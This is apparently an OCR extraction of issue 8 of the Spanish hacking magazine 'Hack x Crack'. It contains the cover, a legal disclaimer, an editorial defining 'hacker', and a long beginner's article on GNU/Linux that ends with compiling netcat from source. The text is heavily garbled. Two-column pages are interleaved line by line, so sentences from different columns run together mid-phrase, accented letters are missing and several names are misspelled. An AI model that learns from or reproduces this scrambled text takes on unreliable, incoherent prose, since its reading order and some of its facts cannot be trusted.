Documentos de Académico
Documentos de Profesional
Documentos de Cultura
HxC08 PDF
HxC08 PDF
P
A
S NETCAT
PERL
O PIPES
P A S Oa
a
a
a
a
a
a
aa
a
a
a
a
a
APACHE: Configuracin
HACK X CRACK - HACK X CRACK - HACK X CRACK
Comparte ficheros
desde tu propio
Servidor Web
JUGANDO de nuevo
con el NETCAT
SERIE RAW
PROTOCOLOS
FONTANERA INFORMTICA :
TEMPLO de
conocimiento ENCADENANDO PROGRAMAS
VISUAL BASIC: Penetracin Inversa
A R R AY D E
CONTROLES en PCs Remotos
VECTORES
OCX SMTP: Descubre los
N 8 -- P.V.P. 4,5 EUROS protocolos de Internet
00008
8 414090 202756
Si no entiendes ni una palabra de esta portada, has llegado a
LA REVISTA DE INFORMTICA QUE ESTABAS ESPERANDO!!!
PC PASO A PASO: UN MODO DISTINTO DE ESTUDIAR INFORMTICA
PC
P
P
A
A
LOS CUADERNOS DE
S
S HACK
O
O
CRACK
Oaa
a www.hackxcrack.com
P
P A
A S
S O a
a
a
a
a
a
a
a
a
aa
a
a
a
a
a
a
a
a
aa
a
E-mail
Director Editorial director@hackxcrack.com
I. SENTIS
Diseo grfico:
E-mail contacto J. M. Velasco
director@editotrans.com
Contacto diseador grfico
Ttulo de la publicacin grafico@hackxcrack.com
Los Cuadernos de HACK X CRACK.
Redactores
Nombre Comercial de la publicacn AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
PC PASO A PASO ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE,
ZORTEMIUS, AK22, DORKAN, KMORK, MAILA,
Web TITINA, SIMPSIM... ... ... ... ...
www.hackxcrack.com
Contacto redactores
Deposito legal: B.26805-2002 redactores@hackxcrack.com
Cdigo EAN: 8414090202756
Cdigo ISSN: En proceso Colaboradores
Mas de 130 personas: de Espaa, de Brasil, de
Argentina, de Francia, de Alemania de Japn y
algn Estadounidense.
Contacto colaboradores
colaboradores@hackxcrack.com
Imprime
I.G. PRINTONE S.A. Tel 91 808 50 15
Distribucin
Coedis S.L. Avda. de Barcelona 225. Molins de Rei.
Barcelona. Tel 93 680 03 60 FAX 93 668 82 59
WEB: www.coedis.com (mapa de distribucin en la
web)
1.- La intencin de la presente publicacin NO ES fomentar la piratera curiosidad deberis ponerla VOSOTROS, porque los medios los facilitaremos
informtica ni la delincuencia en la Red. NOSOTROS. En las siguientes lneas os descubrimos cmo podremos
2.- Cualquier texto publicado es VALIDADO por nuestra Asesora Jurdica, conseguir nuestros objetivos y definimos algunas de las palabras que ms
por lo que advertimos a cualquier persona, empresa u organizacin de la han sido violadas y retorcidas en su significado.
inutilidad de cualquier iniciativa jurdica en nuestra contra. Aun as, en caso
de cualquier iniciativa en contra de esta revista, deber ser debidamente Hacker: Este trmino ha sufrido a lo largo de su corta historia una horrible
presentada y resuelta en la Razn Social que figura en nuestros documentos conspiracin perpetrada por la ignorancia de los medios, eso que
de constitucin. personalmente llamo "periodismo de telediario" (en clara alusin a los
3.- Esta publicacin no se hace responsable del mal uso de los conocimientos ridculos artculos que no hacen mas que intoxicar nuestra percepcin de
que se exponen. las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a
4.- Esta publicacin NO FACILITAR los datos de nuestros colaboradores "otros poderes", desde los monopolios que deben justificar su incompetencia
ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun as, hasta los gobiernos que deben justificar sus intereses ocultos pasando por
advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas la industria del cine (normalmente demonolgica) y los medios informativos
que por sus NICKS (alias). Por ello, correr a cargo de los organismos "de masas".
pertinentes su descubrimiento.
5.- Esta publicacin NO SE HACE RESPONSABLE ni tienen por qu COMPARTIR Pues bien, HACKER no es mas que una persona que posee conocimientos
las opiniones personales vertidas por sus colaboradores, por lo que NO avanzados sobre una materia en concreto, normalmente relacionados con
SOMOS RESPONSABLES de las mismas. la tecnologa aunque ni mucho menos limitado a ello. Ponen sus aptitudes
6.- Cualquier texto publicado estar bajo las protecciones de DERECHOS al servicio de un nico objetivo: EL CONOCIMIENTO. Desean conocer el
DE AUTOR y no se permite su copia, publicacin, modificacin o distribucin funcionamiento de "las cosas" y no encuentran lmites en sus camino mas
sin antes obtener el permiso de esta editorial. De este punto quedan exentos que su propia curiosidad. No se dedican a destruir ni a causar estragos
aquellos textos que han sido obtenidos de terceros y/o que estn sujetos entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse
a otras licencias (ya sean por parte de su autor o por terceros). de sus "conquistas", muy al contrario suelen advertir a terceros de las
7.- Si desean ponerse en contacto con nuestro departamento jurdico, debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar
rogamos enviar mail a juridico@hackxcrack.com de agradecerles su aviso se dedican a denunciarlos o perseguirlos aunque
no siempre es as, por supuesto, muchas compaas y gobiernos han
PARA NUESTROS LECTORES: aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores
(o empleados) de estos. BILL GATES es un HACKER (el pap ventanas),
Como podris ver, esta no es una revista mas, por primera vez tenis ante como Linus Torvalds (el pap Linux) o Grace Hooper (la Almirante,
vosotros una publicacin LIBRE que os ofrecer la posibilidad de explorar creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas
la red tal y como debe explorarse ;) Morris, Douglas McIlroy y Victor Vysottsky (precursores de los
creadores de virus informticos), Fred Cohen (el primer investigador y
Esta publicacin responde a la pregunta mas veces expuesta en LA RED: autor de los virus de la historia), Dennis Ritchie y Ken Thompson
Como puedo ser un hacker? Bien, ahora seguro que muchos ya se estn ("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall
"sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en (autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del
"portadores de LA LUZ", pensando que seremos una "escuela de lamers" Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin
y similares a otras publicaciones que, entre sus 100 pginas de revista solo Mitnick (el ms buscado por el FBI), Phiber Optik (lder juvenil convertido
contiene 5 de "material utilizable" (si es que puede llamarse as). en smbolo de los hackers), Richard Stallman (impulsor del "software
libre" y GNU), Johan Helsingius (primer conductor de un Remailer
Pues NO, lo siento, vosotros seris nuestros jueces y, llegado el caso, Annimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic
NUESTROS VERDUGOS. (creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel
Ramonez (virus LoveLetter), Vladimir Levin (Rob electrnicamente
Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y dems 10 millones de dlares al Citibank), y muchos mas. Cmo? Pero no hemos
"esencias") con el nico mtodo que conocemos: LA EDUCACIN y con un dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su
nica bandera que ser por siempre nuestra firma: SOLO EL CONOCIMIENTO definicin pero claro, de todo hay en la via del seor, y al igual que hay
TE HACE LIBRE
LIBRE. delincuentes entre el clero hay hackers que en un momento u otro han
caido en la ilegalidad, nadie es perfecto!!!!! y Bill Gates es un HACKER?
Estos son nuestros pilares: LA EDUCACIN Y EL CONOCIMIENTO.
CONOCIMIENTO Para ser Por supuesto, solo tienes que leerte su biografa. Sorprendido? Espero
un HACKER (maldita palabra mal entendida por unos y peor utilizada por que no, porque eso no es nada mas que un cero a la izquierda en comparacin
otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la con lo que vas a encontrar en esta revista.
INDICE
En este nmero he tenido que tomar decisiones cuyas
consecuencias (buenas o malas) tendr que sufrir en EL
FORO de -www.hackxcrack.com- Ya sabes que los lectores
(y colaboradores) nos reunimos all para exponer nuestras
impresiones y compartir conocimientos, pues bien, all me
tendris para ser crucificado y dar explicaciones respecto a
este nmero de PC PASO A PASO.
No, no te dejaremos solo ante tan titnico trabajo, estaremos 52 PROTOCOLOS Y SU SEGURIDAD: SMTP
contigo a cada paso y recuerda algo MUY IMPORTANTE: En
el foro de nuestra Web puedes compartir tus dudas. Nos 65 BAJATE LOS LOGOS DE PC PASO A PASO (HXC)
llegan muchos mails preguntando por los temas explicados
en la revista, pero EL FORO es donde mejor y ms rpido
sern respondidas 65 COLABORA CON NOSOTROS
Solo me queda dar las gracias a todos los colaboradores y 66 SERVIDOR DE HXC. MODO DE EMPLEO
encomendar mi alma los dioses para que PC PASO A PASO
8 sea de TU agrado :)
67 NUMEROS ATRASADOS
Un abrazo muy fuerte, atentamente...
Cul ser el precio de tanta maravilla? Trabajo. Y todo ello tras una extensa presentacin de
Mucho trabajo. En este mundo en el que mucha GNU/LiNUX.
gente ha trabajado antes desinteresadamente
generando informacin, tecleando lneas de 2- Qu es GNU/LiNUX?
cdigo que luego ponen a tu disposicin, etc...
Slo se pide una cosa: Que tambin se trabaje Normalmente una forma de definir LiNUX es
leyendo esa documentacin y ese cdigo. como la de " Sistema Operativo tipo UNiX libre".
Si no eres de esta opinin, tal vez el mundo A estas alturas la mayora de la gente recin
de GNU/LiNUX en particular y del Software Libre llegada al mundo de GNU/LiNUX se preguntar
en general no sea el ms adecuado para ti y si eso de GNU/LiNUX es "otra cosa" parecida
tarde o temprano te desilusionars. a eso de lo que han odo hablar mucho
ltimamente y que la gente llama LiNUX "a
Por ahora realizaremos una presentacin general secas". Pues bien, no, no es "otra cosa";
de lo que es GNU/LiNUX. Veremos cuales son Estamos hablando de lo mismo. Pero para
los pasos, independientemente de la entender el porqu, conviene referirnos a este
distribucin, que se deben seguir para instalar S.O. como GNU/LiNUX y no LiNUX, tenemos
que saber primero qu significa LiNUX y qu operativo UNiX-like , es decir, similar a los
significa GNU. sistemas UNiX de la poca, denominado HURD
('Hird of Unix-Replacing Daemons' donde HIRD
LiNUX, inicialmente, es el fruto de un trabajo significa 'Hurd of Interfaces Representing Depth'),
de programacin de un chico llamado Linus con la particularidad de que sera desarrollado
Torvalds que all por 1991 mientras estaba bajo los trminos de Free Software (Aplicaciones
en la universidad de Helsinki pasando fro (digo Informticas Libres). Una vez ms, a pesar de
yo) y aprovechando la coyuntura de obtener lo interesante del tema, debemos de ceirnos
su primer i386, decidi realizar su "versin a una mera presentacin. Si queris ahondar
mejorada" del S.O. que l manejaba ms en los trminos GNU y Free Software os
habitualmente: MiNiX. De esta manera obtuvo recomiendo una visita a http://www.es.gnu.org
lo que se denomina un kernel o ncleo de S.O. donde encontraris la informacin necesaria.
que es el corazn de todo S.O.. Desde la
primera versin operativa de este kernel se Lo que s es muy interesante es que a pesar
unieron a Linus Torvalds una gran cantidad de de los intentos de realizar un UNiX libre por
gente que ofreci mejoras e increment la parte de GNU desde 1984, en 1991 se
funcionalidad de dicho ncleo. Desde entonces, encuentran todava en pleno diseo de su
el desarrollo del kernel de GNU/LiNUX es un sistema HURD. Por lo dems en estas fechas
trabajo realizado por muchsimas personas en GNU ha desarrollado ya una grandsima cantidad
todo el mundo y supervisado por Linus. de aplicaciones libres disponibles en cdigo
fuente y que estn disponibles en Internet.
MiNiX era una herramienta didctica que Por otra parte LiNUX es tan slo un ncleo de
acompaaba al libro "Modern Operating Systems" S.O. hurfano que s ha logrado utilizar muchas
del eminente profesor Adrew Tanenbaum. MiNiX de las aplicaciones GNU. Tras decidir Linus que
era a su vez un S.O. basado en los sistemas el cdigo del ncleo de su S.O. tambin se
UNiX en los que el autor trabaj como distribuira bajo los trminos de la licencia GNU,
desarrollador. era una cuestin de conveniencia el surgimiento
El desarrollo de LiNUX plante un debate en de una plataforma mixta cuyo corazn fuera
ocasiones agrio entre la comunidad MiNiX el ncleo LiNUX, pero que el resto fuera fruto
participando en esta "contienda" tanto Linus del trabajo de GNU.
Torvalds como A. Tanenbaum. A pesar de ser
una historia apasionante, tendremos que dejarla Es por esto que cuando hablamos de un S.O.
aparcada por ahora. Est ampliamente difundida LiNUX, estamos refirindonos a un sistema
por Internet la copia del grupo de noticias GNU/LiNUX.
donde se desarroll este debate
(comp.os.minix ) pero os recomiendo esta 3 - Cmo puedo conseguir
pgina donde se realiza un anlisis detallado GNU/LiNUX?
de la postura de ambos bandos:
http://www.cab.u-szeged.hu/local/linux/linux- Pues de diversas maneras. Antes he mencionado
obsolote.html (No os asustis por el hngaro, que GNU/LiNUX es Software Libre. Esto no
tan slo se utiliza en el primer prrafo). quiere decir que sea gratuito, como dicen en
algunos sitios ( :oP ) sino que si t obtienes
El proyecto GNU (acrnimo recursivo que una copia, puedes realizar tantas copias como
corresponde a "GNU is Not UNiX") nace en quieras, y puedes hacer con estas copias lo
1984 capitaneado por Richard M. Stallman que desees: Regalarlas, venderlas, modificarlas,
con la finalidad de desarrollar un sistema etc.... Slo has de cumplir un requisito: Dejar
bien claro al que se lo des, vendas, etc.... que La que desees. Seguramente ya tienes alguna
puede hacer lo mismo que has hecho t y que referencia. Personalmente te aconsejo que si
si te piden el cdigo fuente debers de quieres algo "a lo XP" o "a lo Mac" escojas
facilitrselo. entre Mandrake, Red Hat, SuSE..... Son
distribuciones planteadas hacia un usuario
Esta manera de hacer las cosas es la que ha domstico al que le importa muy poco cmo
propiciado el que surja el concepto de estn colocados los desages de su ciudad;
distribucin. Una distribucin o distro de tan solo le interesa que no se le atasque la
GNU/LiNUX se da cuando una persona, grupo fontanera domstica.
de personas o empresas, deciden crear un Si por el contrario ests ms familiarizado con
sistema GNU/LiNUX y distribuirlo, ya sea los sistemas UNiX y no deseas gastarte una
comercialmente o no. Como a cada hijo de pasta en una licencia de Solaris (tm) a la hora
madre nos gustan las cosas a nuestra manera, de tener un entorno UNiX domstico, puedes
es lgico que si te ofrecen la posibilidad de optar por una Slackware, Debian, Knopix,
crear un S.O. a tu medida lo hagas si te sientes Gentoo, etc..... Sin olvidar las arriba
capaz. Si adems puedes fardar delante de la mencionadas.
novia o ganar un dinerito con ello, miel sobre
hojuelas. Las primeras distros surgen - Cul es mejor?
precisamente como trabajo de particulares Esto es subjetivo. Todo depende de lo que
(Slackware con Patrick Volkerding a la quieras hacer. Todas pueden hacer las
cabeza), luego surgieron las distros tipo "club- mismas cosas; ahora bien, unas estn
de-amiguetes-que-se-conocen-en-el-cole-con- concebidas para ser fciles de manejar a un
ganas-de-hacer-cosas" como Jurix, y luego los usuario normal; otras para dotar de la posibilidad
miembros del club crecen, les salen hipotecas de adecuar el S.O. a tu hardware de una forma
como sabaones y montan empresas que se sencilla, otras para aumentar la seguridad,
dedican a lo mismo que hacan pero cobrando: otras para programar.....
SuSE.
Si eres recin llegado a GNU/LiNUX comienza
Este sistema ha venido funcionando muy bien por una en la que no te sientas cohibido por
hasta la fecha pues ha mantenido la el cambio (e.d. una que te recuerde mucho a
"competencia" entre distribuciones y ha puesto otro S.O. que hayas manejado). Mandrake,
en evidencia a los que hace unos aos decan RedHat o Suse sern tu opcin.
que era imposible que saliera nada serio de
un grupo de adolescentes desperdigados por - Cul est en espaol?
el orbe. As se ha logrado simplificar mucho Todas ellas. Cuando las instalas puedes escoger
aspectos como la instalacin, la disponibilidad el idioma que desees.
de aplicaciones, la disponibilidad de
controladores, etc.... - Merece la pena comprarla?
En un pas en el que an se sacan navajas por
Dicho esto, es fcil de adivinar que si queremos no pagar una ronda, esta pregunta es muy
conseguir GNU/LiNUX, debemos de hacernos interesante. Podra parecer que aquel que paga
con una distribucin. Y es entonces por algo que puede conseguir gratis es, como
cuando surgen las cinco preguntas poco, bobo. Pues puede que no lo sea. Hoy
estrella: por hoy recomendara comprar distribuciones
a dos tipos de usuario: Por un lado al novatillo
- Cul elijo? desorejado y asustadizo (que hemos sido
todos) que se aferra a los manuales como a Posibilidad D: Revistas sobre GNU/LiNUX. Es
un salvavidas: Los paquetes comerciales suelen muy raro que un mes alguna de ellas no regale
venir con excelentes manuales, asistencia una distribucin. A veces incluso son
tcnica gratuita durante un ao, y el derecho distribuciones que funcionan directamente desde
a hacer con todo ello lo que le de la gana. el CD ( live-cd ). Suelen ser muy buena opcin
Cuando el autor de este artculo comenz con para echar un vistazo al GNU/LiNUX sin miedo
GNU/LiNUX hubiese agradecido, no ya un a cargarnos nada.
manual en su idioma vernculo, sino alguien
con quien hablar de ello. Bueno, tras lo dicho, se ve que es muy fcil
conseguir una distribucin; es ms, la mayora
El segundo tipo de usuarios a los que de vosotros seguro que tenis una cerca del
recomendara gastarse algo de dinero y entre ordenador, pero an no os sents con fuerzas
los que me reconozco, seran aquellos que para afrontar esas historias tenebrosas que
creen en que el Software Libre es una opcin habis odo contar sobre discos duros que se
y que debe ser apoyada en la medida de lo estropearon, tarjetas 3D que jams realizaron
posible. su funcin, escneres convertidos en
estanteras.....
Finalmente: Aunque decidas comprarte una
caja que pone Nosequ-Linux, la relacin Ha llegado el momento de la instalacin.
calidad/precio ser excelente. An no he
conocido a nadie que se haya arrepentido de 4 - Instalacin de GNU/LiNUX
comprar una distribucin GNU/LiNUX en una
tienda. Este tema ser tratado en mayor profundidad
en nmeros posteriores. De todas formas voy
Sealar como dato curioso que precisamente a intentar de dar una descripcin general sobre
las distribuciones ms afines al usuario "normal" la instalacin de GNU/LiNUX sin centrarme en
son las ms comerciales. Pero ojo, an as ninguna distribucin concreta y dar una serie
siguen siendo Software Libre. de consejos que puede que sea de utilidad.
Posibilidad A: En Internet. Hay lugares como En los 8 aos que llevo con GNU/LiNUX an no
http://www.linuxiso.org/ o me he encontrado con una distribucin que en
http://www.rediris.com donde puedes bajarte el propio CD de instalacin no traiga la
las imgenes de CD-ROM de la mayora de las documentacin necesaria para instalar
distribuciones. GNU/LiNUX. Suele ser documentacin especfica
de esa distribucin y suele estar disponible en
Posibilidad B: Pedrsela a un amigo, conocido varios idiomas. Este es el Punto 0 que a partir
o similar... de ahora no nos abandonar nunca: Leer
primero la documentacin. Se que cuesta. Yo
Posibilidad C: Otra manera para los que no tambin paso de leerla muchas veces. Yo
poseen una conexin rpida en casa, es acudir tambin tengo que leerla tras haberme tirado
a los revendedores que te envan contra de los pelos.
reembolso los CDs a casa. Es el caso de
http://www.opencd.com/ y suele ser una opcin Esta documentacin suele estar en directorios
bastante econmica. que se llaman Doc, Documentation, Installation,
Installing, etc....
Para GNU/LiNUX la informacin ms relevante Si tienes cualquier duda respecto a los temas en los que no
suele ser: profundizamos, tienes a tu disposicin EL FORO DE
HACK X CRACK (www.hackxcrack.com), donde hay una
Particiones de disco duro: GNU/LiNUX seccin GNU / LiNUX precisamente para que preguntes
necesitar de espacio en disco para ser y disfrutes de un mundo que, quizs a da de hoy,
instalado. Esto requiere de que dispongamos desconoces.
de espacio libre (ojo, con "espacio libre" no
nos referimos a los MBs libres en C: o D: sino Tarde o temprano, si sigues leyendo esta revista, te ser
al espacio no asignado a ninguna particin) en imprescindible tener a mano una instalacin de LINUX.
el disco. Como este no suele ser el caso comn No lo dejes por mas tiempo, decdete YA!!! e inicia de una
y el que ms dolores de cabeza levanta, vamos vez por todas tu camino en este Sistema Operativo. Esta
a asumir desde ahora que tenemos un editorial est convencida de que, si LINUX fuese el Sistema
ordenador con un S.O. de Microsoft previamente Operativo "por defecto" y todo el mundo lo conociese, esta
instalado y que las particiones creadas por este revista tendra un nivel que nada tiene que ver con lo que
ocupan todo el disco duro. has visto/ledo hasta ahora. Microsoft te lo pone todo "muy
fcil", quizs s, o no, segn se mire; pero te oculta (y casi
En este caso tendremos que reparticionar. El imposibilita) la posibilidad de APRENDER y entender el
proceso de reparticionar consiste en cambiar funcionamiento de "las cosas". Linux es exactamente lo
de tamao una particin existente (FAT32, contrario, te OBLIGA a comprender el funcionamiento de
NTFS, etc...) reducindola de tamao. De esta las cosas, esa es, desde nuestro punto de vista, LA GRAN
manera dispondremos de espacio libre en el DIFERENCIA.
disco no asignado a ninguna particin. Esta
tarea se puede realizar con aplicaciones como Un abrazo a todos los lectores ;)
Partition Magic, GNUparted o incluso desde el
propio proceso de instalacin de alguna
distribucin GNU/LiNUX como Mandrake. Una vez que hemos obtenido espacio libre en
disco debemos de tener en cuenta como se
nombran las particiones de disco en GNU/LiNUX
! Comentario de... para utilizar esta informacin en el futuro.
Como heredero que es de sistemas UNiX,
GNU/LiNUX accede a cualquier dispositivo
La intencin de este artculo NO ES explicar a fondo cmo
hardware como si de un archivo se tratase.
se instala una "distro" de LINUX ni entrar de lleno en
Estos archivos que representan al hardware de
temas como el "redimensionado" de particiones,
la mquina (discos duros, memoria, tarjetas de
configuracin de la conexin a Internet en Linux, y muchos
sonido, etc....) se sitan en el directorio /dev
otros temas. Todo eso ya llegar. :)
(dev, como abreviatura de device, en ingls
dispositivo ). La manera en que GNU/LiNUX ve
las particiones de un disco duro ser la Datos de la red: Tanto si tenemos una red
siguiente: montada en casa o una conexin a Internet
necesitamos conocer los datos necesarios para
Para nombrar un disco duro escribimos configurar nuestra red.
/dev/hdXY que corresponde a
"/dispostivo/discoduroXY" (disco duro se escribe En prximos artculos realizaremos una
hard disk en ingls y su abreviatura es hd), la instalacin paso a paso. Advierto que nos
X corresponder a una letra que nos dir en centraremos en GNU/LiNUX-Debian. Las razones
qu canal IDE se encuentra el dispositivo y la para ello son que es una distribucin 100%
Y corresponder a un nmero de particin libre y que su instalacin puede ser calificada
dentro de ese dispositivo. de "complicada" en comparacin con
Adems, si por ejemplo tenemos una unidad distribuciones como Mandrake, SuSE o RedHat
de CD-ROM / DVD, nos referiremos siempre a que son ms fciles de instalar incluso que
este tipo de unidades como /dev/hdX, sin el cualquier S.O. de Microsoft.
nmero, dado que dentro de un CD-ROM no
podemos realizar particiones. 5 - Ya tenemos GNU/LiNUX
instalado; y ahora, qu?
Un posible esquema de particiones antes de
instalar GNU/LiNUX podra ser el siguiente: Pues a partir de ahora nuestro escenario de
trabajo va a ser la consola. La consola es el
medio bsico de comunicacin con un sistema
UNiX. Normalmente utilizaremos en la consola
una shell o intrprete de comandos. La shell
que viene por defecto en la mayora de los
sistemas UNiX es el sh o bash. Para abrir la
Imaginemos que en el anterior caso mostrado consola tenemos varias opciones: Si estamos
deseamos utilizar parte del espacio del disco en un sistema sin entorno grfico, la pantalla
situado como maestro en el canal IDE 1. mostrar una pantalla similar a esta llamada
Reparticionando dicho disco duro dejaramos pantalla de login:
un espacio no asignado de por ejemplo 7GB.
En este espacio es donde crearemos particiones Si tenemos
GNU/LiNUX. Recomiendo crear estas particiones entorno
desde los propios programas de instalacin de grfico,
GNU/LiNUX. tambin se
nos pedir
Frecuencias de refresco del monitor: e s t a
Otro dato relevante y necesario al configurar informacin
GNU/LiNUX son las frecuencias de antes de
refresco horizontal y vertical del monitor, entrar en l y entonces podremos abrir una
luego tendremos estos datos a mano. lnea de comandos de dos maneras:
Se encuentran normalmente en el manual a) Ejecutando un emulador grfico de terminal
del monitor y ltimamente no suelen como rlogin, xterm, kterm, gnome-terminal, etc....
ser necesarios dado que la mayora b) Pulsando la combinacin de teclas
de las distribuciones lo autodetecta. <Ctrl>+<Alt>+FX donde X puede ser 1, 2, 3,
S sern necesarios para Debian, Slackware, 4, 5 o 6. Para volver al entorno grfico tecleamos
etc..... <Ctrl>+<Alt>+F7.
Esta pantalla muestra al sistema listo para que normal no puede daar las partes crticas del
introduzcamos nuestro login o nombre de sistema.
usuario. Posteriormente se nos pedir el
password de este usuario: En prximos artculos veremos como crear
Si hemos nuevos usuarios.
metido el
nombre de 5.1- Navegando por la shell
usuario y el
password Una vez que hemos accedido a nuestra cuenta
correctos, y el sistema est esperando que le demos
entraremos en el sistema; en otro caso, se nos rdenes, debemos de introducir un comando.
mostrar un mensaje de error. Una vez dentro
del sistema ya hemos accedido a la shell por Una de las cosas a tener en cuenta a partir de
defecto. El smbolo $, llamado prompt, que ahora cuando manejemos la lnea de comando
podemos observar en la lnea de comandos de GNU/LiNUX, es que aqu se distingue entre
indica que el sistema est listo para aceptar maysculas y minsculas. A esta forma de
comandos. comportarse se le denomina case sensitive. Eso
quiere decir que no sern lo mismo el comando
ls que el comando LS o el archivo carta.txt que
Carta.txt o CARTA.TXT.
Algunos de los posibles comandos de los que
disponemos son:
en nuestro sistema. Requieren que est Entonces tendremos que buscarlo en Internet.
instalado el sistema man e info, cosa que ocurre Un buen punto de partida suele ser
por defecto. Por ejemplo, si queremos conocer www.google.com/linux. Algunas de estas
todas las opciones del comando ls podemos aplicaciones que podemos encontrar en Internet
teclear man ls. Otra manera ms rpida de ponen a disposicin paquetes para determinadas
conseguir ayuda suele ser emplear el parmetro distribuciones. En este caso bastara con bajar
help en un comando o programa. Por ejemplo, determinado paquete e instalarlo de la manera
ls -help, nos mostrar la ayuda "en lnea" de usual.
dicho comando. Pero si no encontramos el paquete especfico
para nuestra distribucin o simplemente
Una vez que se ha hecho una presentacin deseamos generar los ejecutables de manera
general de lo que es un sistema GNU/LiNUX, que se acoplen como un guante a nuestro
vamos a examinar algunas de sus posibilidades. sistema, la opcin sin lugar a dudas que
En los siguientes puntos vamos a ver: Cmo debemos tomar es la de bajarnos los cdigos
utilizar un potente lenguaje de scripting, Perl; fuente del programa. Como alguien del foro
cmo instalar y utilizar un programa a partir dice, el secreto est en las fuentes ;o)
de su cdigo fuente, netcat; cmo utilizar
algunas de las herramientas avanzadas del El medio ms comn de bajarse el cdigo fuente
shell, pipes. de una aplicacin es bajarse un archivo tarball
comprimido. Tarball significa algo as como bola
6 - Instalando un programa a de estircol y recibe su nombre de las bolas
partir de su cdigo fuente que generan los escarabajos peloteros. La razn
de llamar as a este tipo de ficheros es que su
Normalmente las distribuciones utilizan como misin es la de almacenar toda una estructura
medio de instalacin los llamados "paquetes". de directorios y su contenido en un nica archivo
Estos no son ms que un archivo que contiene que llevar la extensin .tar. La razn de hacer
todos los archivos binarios (es decir, los esto es que cuando los ordenadores
ejecutables y sus libreras) que componen una almacenaban la informacin en una cinta
aplicacin, as como informacin especfica magntica, esta careca de una FAT tal y como
sobre dnde se debe de colocar cada uno de la conocemos hoy en da por limitaciones fsicas.
los archivos que componen el paquete o si la De hecho, en la antigua carrera de informtica
instalacin de un determinado paquete requiere exista una nica asignatura que trataba este
de la instalacin previa de otros (dependencias) tipo de problemas (mtodo Warnier ).
o bien si no es compatible con otros (conflictos).
Existen varios formatos de paquetes: deb Ancdotas aparte, estos ficheros suelen ser de
(Debian), rpm (RedHat/Mandrake/SuSE), ice un gran tamao, por lo que se les suele
(ICE), tgz (Slackware), etc...... Cada distribucin comprimir. Si el compresor que se ha utilizado
viene con una serie de paquetes en sus CD- para comprimir el archivo tar ha sido el gzip,
ROMs y normalmente el proceso de instalarlos obtendremos una archivo con las extensiones
consiste, ya sea en un sistema que estamos .tar.gz o .tgz. Si el compresor ha sido compress
instalando o en un sistema ya instalado, en el archivo llevar las extensiones tar.Z o tgZ. Y
seleccionarlos, resolver las posibles si el compresor utilizado ha sido el moderno
dependencias y/o conflictos e instalarlos. bzip2 obtendremos archivos cuya extensin es
.tar.bz2 o .tbz.
Pero hay ocasiones en las que determinado
programa no viene en nuestra distribucin. Hoy por hoy los ms comunes son los
comprimidos con gzip o bzip2. La manera de programa o librera para poder compilar el
descomprimir este tipo de archivos es invocar nuestro se nos dir en este punto.
a tar (programa que sirve para restaurar o
crear un archivo tarball) es la siguiente: - Compilar las fuentes e instalarlas:
- .tar.gz o tgz: tar xvfz nombre_del_archivo_tarball
- .tar.bz2 o tbz: tar xvfj nombre_del_archivo_tarball archivo_fuente_dir $ make
archivo_fuente_dir $ su --
Una vez descomprimido el archivo, se nos habr Password:
creado un directorio dentro del cual se ha archivo_fuente_dir # make install
restaurado la estructura original que contena
el archivo tarball. Obsrvese que en la ltima tarea nos hemos
convertido en administrador ( su -- ) con el fin
A partir de este momento pasamos a la tarea de poder instalar los archivos binarios compilados
de compilar el programa, o dicho de otra en su lugar.
manera, a la tarea de generar archivos binarios
(ejecutables, libreras, etc....) a partir de su A pesar de que, como se ha comentado, esta
cdigo fuente. suele ser la secuencia normal a la hora de
instalar un programa, conviene que siempre
Hasta hace no mucho la tarea de compilar un leamos dos archivos que siempre acompaan
programa a partir de su cdigo fuente era una a las fuentes de un programa: README (lame)
tarea un tanto ardua que requera de ciertos e INSTALL (instalacin). Estos archivos contienen
conocimientos del sistema y del compilador informacin precisa sobre como instalar un
utilizados. Esto es debido a que los programas programa concreto.
Free Software distribuyen su cdigo fuente de
manera que pueda ser compilado en la mayor Ahora vamos a practicar lo visto con un caso
parte de las plataformas y SS.OO. existentes. real. Para ello nos vamos a bajar el cdigo
fuente del netcat en su versin 6 para poder
Afortunadamente de unos aos a esta parte compilarlo bajo GNU/LiNUX de la siguiente
han surgido herramientas como las autotools d i r e c c i n :
que simplifican mucho el proceso de generar http://freshmeat.net/projects/nc6/?topic_id=87
una aplicacin a partir de su cdigo fuente. Esta versin soporta los protocolos tanto IPv4
Actualmente el proceso de compilacin e e IPv6, por si localizamos algn servidor que
instalacin de una aplicacin a partir de su soporte este protocolo.
cdigo fuente consta de cuatro pasos: Vamos a bajarnos el archivo nc6-0.4.tar.bz2
por ser el ms comprimido y el que menos
- Descomprimir el archivo tar y entrar en el tiempo tardar en descargarse.
directorio: Una vez descargado, seguimos los pasos arriba
descritos:
$ tar xvfz archivo_fuente.tgz
$ cd archivo_fuente_dir luis@el_chaman $ tar xvfj nc6-0.4.tar.bz2
- Configurar las fuentes para ser compiladas: luis@el_chaman $ cd nc6-0.4
luis@el_chaman ~/nc6-04 $ ./configure
archivo_fuente_dir $ ./configure
luis@el_chaman ~/nc6-04 $ make
En caso de que necesitemos instalar algn otro luis@el_chaman ~/nc6-04 $ su --
9 - Conclusiones
Normalmente la informacin de un programa
se recibe por la entrada estndar (teclado) y Este artculo, a pesar de su extensin, ha sido
se muestra por la salida estndar (pantalla). una presentacin de muchos temas pero poca
profundizacin en ellos. La razn es que muchas
Pero en determinadas ocasiones nos podra veces debemos de tener una visin global de
interesar tener este esquema: lo que supone tener un S.O. con tantas
posibilidades como GNU/LiNUX antes de
profundizar en l. He procurado tocar los puntos
